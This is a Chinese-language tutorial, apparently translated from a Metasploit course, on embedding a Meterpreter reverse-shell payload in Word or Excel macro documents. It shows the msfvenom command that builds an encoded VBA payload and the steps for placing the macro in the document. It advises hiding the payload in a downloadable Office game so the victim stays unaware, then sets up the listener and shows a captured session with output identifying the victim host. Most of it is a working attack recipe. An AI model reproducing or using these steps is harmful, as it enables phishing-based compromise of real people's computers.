Metasploit有一些内置的方法可以用来感染带有恶意Metasploit有效载荷的Word和Excel文档。您也可以使用您自己的自定义有效载荷。它不一定需要成为Metasploit有效载荷。此方法适用于客户端攻击之后,如果您必须绕过某些不允许可执行文件且仅允许文档通过的筛选,则此方法也可能非常有用。首先,我们首先需要创建我们的VBScript有效载荷。
root@kali: # msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=8080 -e x86/shikata_ga_nai -f vba-exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai chosen with final size 326
Payload size: 326 bytes
'**************************************************************
'*
'* This code is now split into two pieces:
'* 1. The Macro. This must be copied into the Office document
'* macro editor. This macro will run on startup.
'*
'* 2. The Data. The hex dump at the end of this output must be
'* appended to the end of the document contents.
'*
...略...
作为输出消息,指示脚本分为两部分。脚本的第一部分创建为宏(MACRO),第二部分添加到文档文本本身。您需要将此脚本转移到安装了Windows和Office的计算机上,然后执行以下操作:
Word/Excel 2003: Tools -> Macros -> Visual Basic Editor
Word/Excel 2007: View Macros -> then place a name like "moo" and select "create".
这将打开视觉基本编辑器。将有效载荷脚本的第一部分的输出粘贴到编辑器中,保存它,然后将脚本的其余部分粘贴到word文档本身中。这是您通过将此Word文档发送给某人来执行客户端攻击的时候。
为了防止用户怀疑,请尝试将代码嵌入Internet上可用的许多Word / Excel游戏之一中。这样,用户在后台工作时就能愉快地玩游戏。如果您使用Meterpreter作为有效负载,这会给您一些额外的时间来迁移到另一个进程。
在将我们的恶意文档发送给我们的受害者之前,我们首先需要设置我们的Metasploit侦听器。
root@kali:# msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.101; set LPORT 8080; run; exit -y"
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[ metasploit v4.11.4-2015071402 ]
+ -- --=[ 1467 exploits - 840 auxiliary - 232 post ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops ]
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.101
LPORT => 8080
[*] Started reverse handler on 192.168.1.101:8080
[*] Starting the payload handler...
现在我们可以通过打开文档来测试该文档,并查看我们拥有Metasploit exploit/multi/handler侦听器的位置:
[*] Sending stage (749056 bytes) to 192.168.1.150
[*] Meterpreter session 1 opened (192.168.1.101:8080 -> 192.168.1.150:52465) at Thu Nov 25 16:54:29 -0700 2010
meterpreter > sysinfo
Computer: XEN-WIN7-PROD
OS : Windows 7 (Build 7600, ).
Arch : x64 (Current Process is WOW64)
Language: en_US
meterpreter > getuid
Server username: xen-win7-prod\dookie
meterpreter >